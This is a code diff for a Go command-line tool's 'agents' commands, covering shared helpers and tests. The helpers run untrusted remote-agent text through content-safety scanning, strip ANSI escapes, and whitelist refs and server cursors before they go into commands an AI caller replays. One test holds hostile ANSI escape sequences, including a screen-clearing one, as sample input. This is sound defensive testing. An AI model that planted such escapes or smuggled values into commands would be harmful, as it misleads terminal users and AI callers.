+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+}
+
+// TestPrintCardPretty_StripsANSIFromRemoteFields pins that a remote card's
+// agent-controlled Name/Description cannot smuggle ANSI escapes to the
+// terminal (this sanitization is applied to every pretty surface).
+func TestPrintCardPretty_StripsANSIFromRemoteFields(t *testing.T) {
+	card := &iagents.AgentCard{
+		Provider:    "demo",
+		AgentID:     "agt_demo",
+		Name:        "\x1b[31mEvil\x1b[0m Agent",
+		Description: "desc\x1b[2Jwipe",
+	}
+	out := &bytes.Buffer{}
+	printCardPretty(out, card)
+	text := out.String()
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences in remote card fields must be stripped: %q", text)
+	}
+	if !strings.Contains(text, "Evil Agent") || !strings.Contains(text, "descwipe") {
+		t.Errorf("readable text should remain after stripping, got: %q", text)
+	}
+}
+
+// TestPrintCardPretty_StaticFallsBackToProviderLabel pins that a static card
+// (no dynamic Name) renders its ProviderLabel as the header.
+func TestPrintCardPretty_StaticFallsBackToProviderLabel(t *testing.T) {
+	card := &iagents.AgentCard{
+		Provider:      "demo",
+		ProviderLabel: "demo 自定义智能体",
+		AgentID:       "agt_demo",
+	}
+	out := &bytes.Buffer{}
+	printCardPretty(out, card)
+	if !strings.Contains(out.String(), "demo 自定义智能体 (agt_demo)") {
+		t.Errorf("should fall back to ProviderLabel when Name is empty, got:\n%s", out.String())
+	}
+}
+
+// TestAgentCardRun_InvalidRef surfaces a malformed ref as a validation error
+// before any provider is built.
+func TestAgentCardRun_InvalidRef(t *testing.T) {
+	opts, _ := cardTestOpts(t, "no-colon")
+	if err := agentCardRun(opts); err == nil {
+		t.Fatal("malformed ref should error")
+	}
+}
+
+// TestNewCmdAgentCard_ReadRiskAndArgs pins ExactArgs(1), read risk, and the
+// presence of --format and --as flags.
+func TestNewCmdAgentCard_ReadRiskAndArgs(t *testing.T) {
+	cmd := NewCmdAgentCard(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
+		t.Errorf("agents card should be marked read risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{}); err == nil {
+		t.Error("agents card missing ref should report an argument error (ExactArgs 1)")
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
+		t.Errorf("agents card with a single ref should be valid: %v", err)
+	}
+	fl := cmd.Flags().Lookup("format")
+	if fl == nil {
+		t.Fatal("agents card should have a --format flag")
+	}
+	// Default output format is unified: card default flips from pretty to json.
+	if fl.DefValue != "json" {
+		t.Errorf("card --format default should flip to json, got %q", fl.DefValue)
+	}
+	if cmd.Flags().Lookup("as") == nil {
+		t.Error("agents card should have an --as flag")
+	}
+}

cmd/agents/common.go

@@ -0,0 +1,492 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// Package agent implements the `agent` command tree: a provider-agnostic
+// surface over remote A2A agents. This file holds the shared
+// command-layer helpers: ref→provider resolution, --param validation against a
+// Card, success-envelope emission, capability gating, and wait/watch polling.
+package agents
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"io"
+	"strings"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// supportedIdentities is the identity whitelist enforced for every agent
+// command; provider cards advertise (a subset of) the same set.
+var supportedIdentities = []string{string(core.AsUser), string(core.AsBot)}
+
+// sleep is the package-level, test-injectable backoff sleep. It blocks for d or
+// until ctx is done, returning true if the full duration elapsed and false if
+// ctx was canceled first. Tests swap it for a no-op.
+var sleep = func(ctx context.Context, d time.Duration) bool {
+	t := time.NewTimer(d)
+	defer t.Stop()
+	select {
+	case <-t.C:
+		return true
+	case <-ctx.Done():
+		return false
+	}
+}
+
+// resolveSpec is the fully-offline resolution path: it resolves the effective
+// identity, enforces the user|bot whitelist, and looks up the AgentSpec
+// addressed by ref — WITHOUT constructing a client or touching the network. It
+// is the FIRST step of every verb, so a malformed ref, an unknown scheme /
+// unknown catalog id, AND a capability gate all surface at exit 2 BEFORE the
+// config gate — an unconfigured user still gets the precise error, not
+// not_configured. A real API verb then calls runtimeFor to build the client.
+func resolveSpec(f *cmdutil.Factory, cmd *cobra.Command, ref, asStr string) (iagents.Provider, *iagents.AgentSpec, string, core.Identity, error) {
+	id := f.ResolveAs(cmd.Context(), cmd, core.Identity(asStr))
+	if err := f.CheckIdentity(id, supportedIdentities); err != nil {
+		return iagents.Provider{}, nil, "", "", err
+	}
+	prov, spec, agentID, err := iagents.LookupSpec(ref)
+	if err != nil {
+		// ParseRef / unknown-scheme / unknown-id errors carry the validation
+		// wording; promote them to a typed validation error (with a recovery hint)
+		// so RunE never returns a bare error and the exit code / subtype are stable.
+		return iagents.Provider{}, nil, "", "", wrapRefResolveError(err)
+	}
+	return prov, spec, agentID, id, nil
+}
+
+// runtimeFor builds the identity-pinned Runtime for a verb that actually calls
+// the remote API. It requires a configured client (not_configured / exit 3 here
+// is correct for a real API call). agentID is the resolved agent this call
+// addresses (from the ref), exposed to hooks via rt.AgentID(); params is the
+// validated business-parameter map (defaults backfilled) exposed via
+// rt.Params() — pass nil on paths that carry no business params (card's
+// Describe enrichment).
+func runtimeFor(f *cmdutil.Factory, id core.Identity, agentID string, params map[string]string) (iagents.Runtime, error) {
+	apiClient, err := f.NewAPIClient()
+	if err != nil {
+		return nil, err
+	}
+	return &cmdRuntime{client: apiClient, as: id, agentID: agentID, params: params}, nil
+}
+
+// wrapRefResolveError promotes a ParseRef / provider-resolution error to a
+// validation typed error (subtype invalid_argument, exit 2) and attaches the
+// recovery hint keyed to the failure mode: a malformed ref (no ':' / empty
+// half — matched via the ErrInvalidRef sentinel) teaches the <scheme>:<agent_id>
+// shape; an unknown scheme points at `agents list` to discover the available
+// providers. Both hints are copy-pasteable next steps, not just wording.
+func wrapRefResolveError(err error) error {
+	// LookupSpec's unknown-catalog-id case is ALREADY a typed validation error
+	// carrying a scheme-scoped hint (`agents list <scheme>`); pass it through
+	// instead of flattening it via err.Error() and overwriting that hint with the
+	// generic provider-list one. Only the untyped ParseRef sentinel / unknown-
+	// scheme errors need wrapping.
+	if _, ok := errs.ProblemOf(err); ok {
+		return err
+	}
+	e := errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err.Error()).WithCause(err)
+	if errors.Is(err, iagents.ErrInvalidRef) {
+		return e.WithHint("agent_ref 形如 <scheme>:<agent_id>，如 example:echo")
+	}
+	return e.WithHint("用 lark-cli agents list 查看可用 provider")
+}
+
+// cardHint builds the "check the agent card" hint. The ref is user-echoed
+// input: when it passes the safeNextRef whitelist the hint carries the
+// copy-pasteable command; otherwise it degrades to plain guidance without any
+// interpolated command (a ref containing spaces would make the command
+// non-copy-pasteable, and the hint is what an AI copies verbatim).
+func cardHint(ref, what string) string {
+	if safeNextRef(ref) {
+		return fmt.Sprintf("运行 lark-cli agents card %s 查看%s", ref, what)
+	}
+	return fmt.Sprintf("查看该 agent 的能力卡片（agents card 命令）确认%s", what)
+}
+
+// emitTask writes a task result: the standard success envelope carrying
+// meta.next[] hints for AI callers, or — with format=pretty and no --jq —
+// the key:value human view. Because the agent's messages/artifacts are
+// untrusted external content, the payload is run through content-safety
+// scanning before emission on BOTH paths (and the pretty path additionally
+// ANSI-strips agent text). A --jq expression, when the leaf command registers
+// one, implies structured JSON and filters stdout.
+func emitTask(f *cmdutil.Factory, cmd *cobra.Command, task *iagents.AgentTask, next []output.NextAction, format string, notices ...string) error {
+	out := f.IOStreams.Out
+	errOut := f.IOStreams.ErrOut
+
+	scan := output.ScanForSafety(cmd.CommandPath(), task, errOut)
+	if scan.Blocked {
+		return scan.BlockErr
+	}
+
+	// Normalization notices (provider contract defects, §3.2) must be visible on
+	// BOTH surfaces: stderr for humans, envelope _notice for the JSON consumer.
+	var defect string
+	for _, n := range notices {
+		if n != "" {
+			defect = n
+			fmt.Fprintf(errOut, "notice: %s\n", n)
+		}
+	}
+
+	if format == "pretty" && jqExpr(cmd) == "" {
+		if scan.Alert != nil {
+			output.WriteAlertWarning(errOut, scan.Alert)
+		}
+		printTaskPretty(out, task)
+		return nil
+	}
+
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(f.ResolvedIdentity),
+		Data:     task,
+		Notice:   output.GetNotice(),
+	}
+	if defect != "" {
+		if env.Notice == nil {
+			env.Notice = map[string]interface{}{}
+		}
+		env.Notice["provider_defect"] = defect
+	}
+	if len(next) > 0 {
+		// Identity carry follows the CLI-family convention (shortcuts never pin
+		// --as into suggested commands): only when the caller EXPLICITLY passed
+		// --as does the suggestion carry the resolved identity — an explicit
+		// non-default identity would otherwise fall back to the default on
+		// verbatim replay and look up another principal's task store. An
+		// implicit (default/auto) identity stays unpinned: the next command
+		// re-resolves to the same answer in the same environment. Only
+		// agent-subtree commands take --as (auth login does not).
+		carryAsIntoNext(cmd, f, next)
+		env.Meta = &output.Meta{Next: next}
+	}
+	if scan.Alert != nil {
+		env.ContentSafetyAlert = scan.Alert
+	}
+
+	if jq := jqExpr(cmd); jq != "" {
+		if scan.Alert != nil {
+			output.WriteAlertWarning(errOut, scan.Alert)
+		}
+		return output.JqFilter(out, env, jq)
+	}
+	output.PrintJson(out, env)
+	return nil
+}
+
+// scanAndEmitData is the shared scan-then-emit path for the read leaves whose
+// payload now carries untrusted agent-authored text — task list
+// (TaskSummary.Summary), context list, and context get
+// (ContextDetail.ActiveTask.Summary). These used to PrintJson directly and so
+// BYPASSED content-safety; like emitTask they now run output.ScanForSafety on
+// the payload BEFORE emission on every path: a block returns the typed block
+// error, a warn attaches the alert to the JSON envelope (and prints a stderr
+// warning on the pretty / jq paths). data is the Envelope.Data payload (and what
+// is scanned); meta is an optional *output.Meta (list count, nil for a single
+// detail); pretty renders the --format pretty human view and is skipped when a
+// --jq expression forces structured JSON.
+func scanAndEmitData(f *cmdutil.Factory, cmd *cobra.Command, format string, data any, meta *output.Meta, pretty func(io.Writer)) error {
+	out := f.IOStreams.Out
+	errOut := f.IOStreams.ErrOut
+
+	scan := output.ScanForSafety(cmd.CommandPath(), data, errOut)
+	if scan.Blocked {
+		return scan.BlockErr
+	}
+
+	if format == "pretty" && jqExpr(cmd) == "" {
+		if scan.Alert != nil {
+			output.WriteAlertWarning(errOut, scan.Alert)
+		}
+		pretty(out)
+		return nil
+	}
+
+	env := output.Envelope{
+		OK:       true,
+		Identity: string(f.ResolvedIdentity),
+		Data:     data,
+		Meta:     meta,
+		Notice:   output.GetNotice(),
+	}
+	if scan.Alert != nil {
+		env.ContentSafetyAlert = scan.Alert
+	}
+	if jq := jqExpr(cmd); jq != "" {
+		if scan.Alert != nil {
+			output.WriteAlertWarning(errOut, scan.Alert)
+		}
+		return output.JqFilter(out, env, jq)
+	}
+	output.PrintJson(out, env)
+	return nil
+}
+
+// jqExpr reads the --jq flag value if the leaf command registered one; absent
+// otherwise.
+func jqExpr(cmd *cobra.Command) string {
+	if cmd == nil { // options structs built directly in tests may carry no Cmd
+		return ""
+	}
+	if f := cmd.Flags().Lookup("jq"); f != nil {
+		return f.Value.String()
+	}
+	return ""
+}
+
+// resolvedBrand returns the brand the agent commands filter/gate against: the
+// logged-in account's Config().Brand when Config resolves and is non-empty,
+// else BrandFeishu (the offline/unconfigured default, consistent with
+// core.ParseBrand mapping unknown→feishu). It is nil-safe (a nil Factory or a
+// nil Config hook yields feishu), so the offline gates hold before config init.
+func resolvedBrand(f *cmdutil.Factory) core.LarkBrand {
+	if f == nil || f.Config == nil {
+		return core.BrandFeishu
+	}
+	cfg, err := f.Config()
+	if err != nil || cfg == nil || cfg.Brand == "" {
+		return core.BrandFeishu
+	}
+	return cfg.Brand
+}
+
+// unavailableForBrandError returns the unavailable_for_brand validation error
+// (exit 2) — the brand sibling of capabilityError. `what` is the human-facing
+// capability name (e.g. "task cancel"); an empty `what` is the whole-agent case
+// ("agent '<ref>' is not available under <brand>"). The hint points at the card
+// for the current brand (cardHint interpolates ref only when it is whitelisted).
+func unavailableForBrandError(ref, what string, brand core.LarkBrand) error {
+	var msg string
+	if what == "" {
+		msg = fmt.Sprintf("agent '%s' 在 %s 品牌下不可用", ref, brand)
+	} else {
+		msg = fmt.Sprintf("agent '%s' 的 '%s' 在 %s 品牌下不可用", ref, what, brand)
+	}
+	return errs.NewValidationError(errs.SubtypeUnavailableForBrand, "%s", msg).
+		WithHint("%s", cardHint(ref, "当前品牌支持的能力"))
+}
+
+// brandGate is the whole-agent brand visibility gate: a spec whose declared
+// Brands exclude the resolved brand returns unavailable_for_brand (exit 2,
+// offline) before any network call. Placed right after the capability/offline
+// gates in every verb path.
+func brandGate(f *cmdutil.Factory, spec *iagents.AgentSpec, ref string) error {
+	if brand := resolvedBrand(f); !iagents.SpecAvailableForBrand(spec, brand) {
+		return unavailableForBrandError(ref, "", brand)
+	}
+	return nil
+}
+
+// opBrandGate is the per-capability brand gate: a WIRED op whose declared Brands
+// exclude the resolved brand returns unavailable_for_brand (exit 2, offline).
+// `what` is the human capability name. It assumes the whole-agent gate (brandGate)
+// already passed. Core ops (Send/GetTask) normally declare no Brands, so this is
+// a no-op for them unless a provider scopes them explicitly.
+func opBrandGate(f *cmdutil.Factory, brands []core.LarkBrand, ref, what string) error {
+	if brand := resolvedBrand(f); !iagents.OpAvailableForBrand(brands, brand) {
+		return unavailableForBrandError(ref, what, brand)
+	}
+	return nil
+}
+
+// capabilityError returns the unsupported_capability validation error (exit 2)
+// used for capability gating: capHuman is the human-facing action (e.g.
+// "task cancel"), capKey the Card capability key (e.g. task_cancel). The hint
+// interpolates ref only when it passes the whitelist (cardHint).
+func capabilityError(ref, capHuman, capKey string) error {
+	return errs.NewValidationError(
+		errs.SubtypeUnsupportedCapability,
+		"agent '%s' 不支持 '%s'（capability %s=false）", ref, capHuman, capKey,
+	).WithHint("%s", cardHint(ref, "支持的能力"))
+}
+
+// normalizeTask canonicalizes a provider task the moment it enters the command
+// layer: IsTerminal is re-derived from State (the single source of truth, so a
+// provider that mis-fills the flag can never skew watch exit codes or an AI
+// caller's stop-polling decision), and the input_required question group runs
+// the central §3.2 normalization (size caps, empty options → absent, bare
+// prompt → one ordinary free-text question, non-conforming keys → whole-group
+// degrade). The returned notice — a provider defect worth seeing — must reach
+// the caller's output surface (emitTask routes it into the JSON envelope
+// _notice and onto stderr for pretty) instead of being silently smoothed over.
+// nil-safe.
+func normalizeTask(t *iagents.AgentTask) (notice string) {
+	if t == nil {
+		return ""
+	}
+	t.IsTerminal = t.State.IsTerminal()
+	return iagents.NormalizeInputRequired(t)
+}
+
+// normalizeTaskSummaries derives IsTerminal from State for every summary (same
+// single-source rule as normalizeTask), returning the slice for chaining.
+func normalizeTaskSummaries(ts []iagents.TaskSummary) []iagents.TaskSummary {
+	for i := range ts {
+		ts[i].IsTerminal = ts[i].State.IsTerminal()
+	}
+	return ts
+}
+
+// pollToStop polls getTask with exponential backoff (1s → 5s cap) until the
+// task hits a stop condition (terminal, input_required, or auth_required)
+// or ctx is done. A timeout is not a failure: it returns the most recent
+// task with a nil error, letting the caller print the current state (exit 0). A
+// provider GetTask error is surfaced. getTask is a bound closure over the
+// resolved spec + runtime (spec.GetTask(ctx, rt, id)), so pollToStop stays
+// provider-neutral and testable.
+func pollToStop(ctx context.Context, getTask func(context.Context, string) (*iagents.AgentTask, error), taskID string) (*iagents.AgentTask, error) {
+	const (
+		initialDelay = time.Second
+		maxDelay     = 5 * time.Second
+	)
+	var last *iagents.AgentTask
+	delay := initialDelay
+	for {
+		task, err := getTask(ctx, taskID)
+		if err != nil {
+			return last, err
+		}
+		last = task
+		if task.State.ShouldStopPolling() {
+			return task, nil
+		}
+		if ctx.Err() != nil {
+			return last, nil //nolint:nilerr // a poll timeout is an observation-window close, not a task failure — return the last task with exit 0
+		}
+		if !sleep(ctx, delay) {
+			// ctx canceled during backoff → observation window closed, not a
+			// task failure.
+			return last, nil
+		}
+		if delay < maxDelay {
+			if delay *= 2; delay > maxDelay {
+				delay = maxDelay
+			}
+		}
+	}
+}
+
+// semanticExitError maps a wait/watch terminal task to the semantic exit code:
+// a non-successful terminal state (failed/rejected/canceled) yields a
+// silent exit-1 signal; any other state (including a successful terminal or a
+// non-terminal stop like input_required) yields nil. A nil task yields nil.
+func semanticExitError(task *iagents.AgentTask) error {
+	if task == nil || !task.IsTerminal {
+		return nil
+	}
+	switch task.State {
+	case iagents.StateFailed, iagents.StateRejected, iagents.StateCanceled:
+		return output.ErrBare(1)
+	default:
+		return nil
+	}
+}
+
+// listMeta builds the list-class meta: count for a non-empty list, nil (no
+// meta at all) for an empty one. Count is omitempty at the shared envelope
+// level, so an empty list would otherwise degrade to the ambiguous "meta": {}
+// third shape; absent-with-documented-rule beats an empty object. (Emitting an
+// explicit "count": 0 would need the shared Meta.Count to become a pointer —
+// a repo-wide change deliberately out of this package's blast radius.)
+func listMeta(n int) *output.Meta {
+	if n == 0 {
+		return nil
+	}
+	return &output.Meta{Count: n}
+}
+
+// Pagination flag defaults / bounds, shared by the three paginated list leaves
+// (task list, context list, list <scheme>).
+const (
+	defaultPageSize = 20
+	minPageSize     = 1
+	maxPageSize     = 100
+)
+
+// addPageFlags registers the shared --page-size / --page-token flags on a
+// paginated list leaf. Size defaults to defaultPageSize (a bare list returns the
+// first page); an empty token asks for the first page.
+func addPageFlags(cmd *cobra.Command, pageSize *int, pageToken *string) {
+	cmd.Flags().IntVar(pageSize, "page-size", defaultPageSize, "每页条数（1-100）")
+	cmd.Flags().StringVar(pageToken, "page-token", "", "上一页返回的 page_token；留空取第一页")
+}
+
+// validatePageSize enforces the [minPageSize,maxPageSize] range as a client-side
+// invalid_argument validation error (exit 2) before any provider is built, so a
+// nonsense size never reaches the network and holds under a nil Factory.
+func validatePageSize(n int) error {
+	if n < minPageSize || n > maxPageSize {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument,
+			"--page-size 须在 %d-%d 之间，收到 %d", minPageSize, maxPageSize, n).
+			WithParam("--page-size").
+			WithHint("改用 %d-%d 之间的每页条数重发", minPageSize, maxPageSize)
+	}
+	return nil
+}
+
+// listMetaPage builds the page-aware list meta: count (when >0), has_more,
+// page_token (the next-page cursor), and the next-page action(s). It preserves
+// listMeta's "no empty {}" rule — nil is returned ONLY when the page is empty AND
+// there is no next page AND there is no next action, so an otherwise-absent meta
+// never degrades to the ambiguous "meta": {} shape.
+func listMetaPage(count int, info iagents.PageInfo, next []output.NextAction) *output.Meta {
+	if count == 0 && !info.HasMore && len(next) == 0 {
+		return nil
+	}
+	return &output.Meta{
+		Count:     count, // omitempty drops 0
+		HasMore:   info.HasMore,
+		PageToken: info.NextToken,
+		Next:      next,
+	}
+}
+
+// carryAsIntoNext mirrors emitTask's identity-carry rule for the paginated list
+// leaves (which build their own next-actions instead of going through emitTask):
+// only when the caller EXPLICITLY passed --as does the suggested next-page
+// command carry the resolved identity, so an explicit non-default identity is not
+// silently dropped on verbatim replay while an implicit (default/auto) identity
+// stays unpinned. No-op on a nil cmd or an unchanged --as.
+func carryAsIntoNext(cmd *cobra.Command, f *cmdutil.Factory, next []output.NextAction) {
+	if cmd == nil || !cmd.Flags().Changed("as") {
+		return
+	}
+	id := string(f.ResolvedIdentity)
+	if id == "" {
+		return
+	}
+	for i := range next {
+		if strings.HasPrefix(next[i].Command, "lark-cli agents ") {
+			next[i].Command += " --as " + id
+		}
+	}
+}
+
+// nextPageAction builds the single "下一页" next-action for a paginated list when
+// a next page exists. base is the fully-formed command up to (but not including)
+// the pagination flags, e.g. "lark-cli agents task list example:echo"; the caller
+// is responsible for whitelisting the ref / scheme / context-id interpolated into
+// base. The cursor is server-controlled and interpolated verbatim into a command
+// the AI runs, so it must pass the safeNextID whitelist first — a failing cursor
+// drops the command (the cursor still rides meta.page_token as data, so the caller
+// can page manually). Returns nil when there is no next page.
+func nextPageAction(base string, size int, info iagents.PageInfo) []output.NextAction {
+	if !info.HasMore || info.NextToken == "" || !safeNextID(info.NextToken) {
+		return nil
+	}
+	return []output.NextAction{{
+		Label:   "下一页",
+		Command: fmt.Sprintf("%s --page-size %d --page-token %s", base, size, info.NextToken),
+	}}
+}

cmd/agents/common_test.go

@@ -0,0 +1,792 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agents
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"errors"
+	"io"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	extcs "github.com/larksuite/cli/extension/contentsafety"
+	iagents "github.com/larksuite/cli/internal/agents"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// TestCapabilityError_UnsafeRefDegradesHint pins the same whitelist on the
+// capability-gate hint: an unsafe ref degrades the hint to plain guidance.
+func TestCapabilityError_UnsafeRefDegradesHint(t *testing.T) {
+	err := capabilityError("example:agt x", "task cancel", iagents.CapTaskCancel)
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Hint == "" {
+		t.Fatalf("hint should degrade to plain-text guidance rather than be emptied, got %+v", p)
+	}
+	if strings.Contains(p.Hint, "example:agt x") {
+		t.Fatalf("an unsafe ref must not be interpolated into the hint, got %q", p.Hint)
+	}
+}
+
+// TestCapabilityError pins the unsupported_capability contract.
+func TestCapabilityError(t *testing.T) {
+	err := capabilityError("example:agt_xxx", "task cancel", iagents.CapTaskCancel)
+	if err == nil {
+		t.Fatal("should return an error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.Subtype("unsupported_capability") {
+		t.Fatalf("subtype should be unsupported_capability, got %+v", p)
+	}
+	if output.ExitCodeOf(err) != output.ExitValidation {
+		t.Fatalf("exit should be %d, got %d", output.ExitValidation, output.ExitCodeOf(err))
+	}
+}
+
+// TestSemanticExitError maps terminal task states to the wait/watch exit code.
+func TestSemanticExitError(t *testing.T) {
+	cases := []struct {
+		state    iagents.TaskState
+		wantExit int
+	}{
+		{iagents.StateCompleted, output.ExitOK},
+		{iagents.StateFailed, 1},
+		{iagents.StateRejected, 1},
+		{iagents.StateCanceled, 1},
+		{iagents.StateInputRequired, output.ExitOK}, // non-terminal, not treated as failure
+		{iagents.StateWorking, output.ExitOK},
+	}
+	for _, c := range cases {
+		task := &iagents.AgentTask{State: c.state, IsTerminal: c.state.IsTerminal()}
+		err := semanticExitError(task)
+		if got := output.ExitCodeOf(err); got != c.wantExit {
+			t.Errorf("state=%s exit expected %d got %d (err=%v)", c.state, c.wantExit, got, err)
+		}
+	}
+	// nil task should not panic and is treated as success
+	if err := semanticExitError(nil); err != nil {
+		t.Errorf("nil task should return nil, got %v", err)
+	}
+}
+
+// fakePollProvider drives pollToStop through a scripted state sequence. getTask
+// is the closure pollToStop takes (spec.GetTask bound to a runtime in
+// production); calls/err stay observable on the struct after the poll.
+type fakePollProvider struct {
+	states []iagents.TaskState
+	calls  int
+	err    error
+}
+
+func (f *fakePollProvider) getTask(ctx context.Context, taskID string) (*iagents.AgentTask, error) {
+	if f.err != nil {
+		return nil, f.err
+	}
+	i := f.calls
+	if i >= len(f.states) {
+		i = len(f.states) - 1
+	}
+	f.calls++
+	s := f.states[i]
+	return &iagents.AgentTask{TaskID: taskID, State: s, IsTerminal: s.IsTerminal()}, nil
+}
+
+// TestPollToStop_ReachesTerminal stops once a terminal state is observed.
+func TestPollToStop_ReachesTerminal(t *testing.T) {
+	restore := swapSleep()
+	defer restore()
+
+	p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateWorking, iagents.StateCompleted}}
+	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
+	if err != nil {
+		t.Fatalf("should not error: %v", err)
+	}
+	if task == nil || task.State != iagents.StateCompleted {
+		t.Fatalf("should stop at completed, got %+v", task)
+	}
+	if p.calls < 3 {
+		t.Fatalf("should poll at least 3 times, got %d", p.calls)
+	}
+}
+
+// TestPollToStop_StopsOnInputRequired treats input_required as a stop point.
+func TestPollToStop_StopsOnInputRequired(t *testing.T) {
+	restore := swapSleep()
+	defer restore()
+
+	p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateInputRequired}}
+	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
+	if err != nil {
+		t.Fatalf("should not error: %v", err)
+	}
+	if task.State != iagents.StateInputRequired {
+		t.Fatalf("should stop at input_required, got %s", task.State)
+	}
+}
+
+// TestPollToStop_ContextTimeoutNotFailure confirms that timeout returns the
+// current task with a nil error (exit 0), not a failure.
+func TestPollToStop_ContextTimeoutNotFailure(t *testing.T) {
+	restore := swapSleep()
+	defer restore()
+
+	ctx, cancel := context.WithCancel(context.Background())
+	cancel() // expire immediately
+	p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking}}
+	task, err := pollToStop(ctx, p.getTask, "chat_1")
+	if err != nil {
+		t.Fatalf("timeout should not be treated as failure: %v", err)
+	}
+	if task == nil || task.State != iagents.StateWorking {
+		t.Fatalf("timeout should return the current task, got %+v", task)
+	}
+}
+
+// TestPollToStop_GetTaskError surfaces a provider error.
+func TestPollToStop_GetTaskError(t *testing.T) {
+	restore := swapSleep()
+	defer restore()
+
+	p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking}, err: errors.New("boom")}
+	if _, err := pollToStop(context.Background(), p.getTask, "chat_1"); err == nil {
+		t.Fatal("a GetTask error should propagate")
+	}
+}
+
+// swapSleep replaces the package sleep with a no-op for fast tests.
+func swapSleep() func() {
+	orig := sleep
+	sleep = func(context.Context, time.Duration) bool { return true }
+	return func() { sleep = orig }
+}
+
+// swapSleepCapture replaces the package sleep with a no-op that records every
+// backoff duration it was asked to wait, so tests can assert the exponential /
+// clamp schedule. It always returns true (full duration elapsed).
+func swapSleepCapture(delays *[]time.Duration) func() {
+	orig := sleep
+	sleep = func(_ context.Context, d time.Duration) bool {
+		*delays = append(*delays, d)
+		return true
+	}
+	return func() { sleep = orig }
+}
+
+// swapSleepFalseAt replaces the package sleep with a no-op that returns false
+// (as if ctx were canceled during backoff) on the falseCall-th invocation
+// (1-indexed) and true otherwise. Lets tests exercise the sleep-returns-false
+// branch in isolation without racing a real ctx timeout.
+func swapSleepFalseAt(falseCall int) func() {
+	orig := sleep
+	n := 0
+	sleep = func(context.Context, time.Duration) bool {
+		n++
+		return n != falseCall
+	}
+	return func() { sleep = orig }
+}
+
+// TestPollToStop_ClampsDelayToMax drives >=4 backoff rounds so the exponential
+// delay overshoots the 5s cap and the clamp branch (line 179) executes. The
+// captured schedule must never exceed maxDelay and must actually reach it.
+func TestPollToStop_ClampsDelayToMax(t *testing.T) {
+	var delays []time.Duration
+	restore := swapSleepCapture(&delays)
+	defer restore()
+
+	// 5 Working states then Completed: forces backoff 1s,2s,4s,5s(clamped),5s...
+	p := &fakePollProvider{states: []iagents.TaskState{
+		iagents.StateWorking, iagents.StateWorking, iagents.StateWorking,
+		iagents.StateWorking, iagents.StateWorking, iagents.StateCompleted,
+	}}
+	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
+	if err != nil {
+		t.Fatalf("should not error: %v", err)
+	}
+	if task == nil || task.State != iagents.StateCompleted {
+		t.Fatalf("should stop at completed, got %+v", task)
+	}
+	want := []time.Duration{1 * time.Second, 2 * time.Second, 4 * time.Second, 5 * time.Second, 5 * time.Second}
+	if len(delays) != len(want) {
+		t.Fatalf("backoff count should be %d, got %d (%v)", len(want), len(delays), delays)
+	}
+	for i, d := range delays {
+		if d > 5*time.Second {
+			t.Errorf("backoff #%d=%v exceeds the 5s cap", i, d)
+		}
+		if d != want[i] {
+			t.Errorf("backoff #%d expected %v got %v", i, want[i], d)
+		}
+	}
+}
+
+// TestPollToStop_SleepCanceledDuringBackoff isolates the sleep-returns-false
+// branch (lines 173-177): ctx.Err() is still nil when the loop reaches the
+// sleep, but sleep reports the wait was cut short, so pollToStop returns the
+// most recent task with a nil error (not a failure).
+func TestPollToStop_SleepCanceledDuringBackoff(t *testing.T) {
+	restore := swapSleepFalseAt(1) // first backoff sleep is interrupted
+	defer restore()
+
+	p := &fakePollProvider{states: []iagents.TaskState{iagents.StateWorking, iagents.StateCompleted}}
+	task, err := pollToStop(context.Background(), p.getTask, "chat_1")
+	if err != nil {
+		t.Fatalf("an interrupted sleep should not be treated as failure: %v", err)
+	}
+	if task == nil || task.State != iagents.StateWorking {
+		t.Fatalf("should return the working task observed before interruption, got %+v", task)
+	}
+	if p.calls != 1 {
+		t.Fatalf("should not poll again after sleep interruption, expected 1 GetTask call got %d", p.calls)
+	}
+}
+
+// TestJqExpr covers both jqExpr branches: a command with a registered --jq flag
+// returns its value; a command without the flag returns "".
+func TestJqExpr(t *testing.T) {
+	withFlag := &cobra.Command{Use: "get"}
+	withFlag.Flags().String("jq", "", "")
+	if err := withFlag.Flags().Set("jq", ".state"); err != nil {
+		t.Fatal(err)
+	}
+	if got := jqExpr(withFlag); got != ".state" {
+		t.Errorf("with a --jq flag it should return its value, got %q", got)
+	}
+
+	noFlag := &cobra.Command{Use: "list"}
+	if got := jqExpr(noFlag); got != "" {
+		t.Errorf("without a --jq flag it should return empty, got %q", got)
+	}
+}
+
+// newEmitCmd builds a `lark-cli agents <name>` command whose CommandPath() is
+// non-empty (required for content-safety scanning to engage) and optionally
+// registers a --jq flag with the given value.
+func newEmitCmd(name, jq string) *cobra.Command {
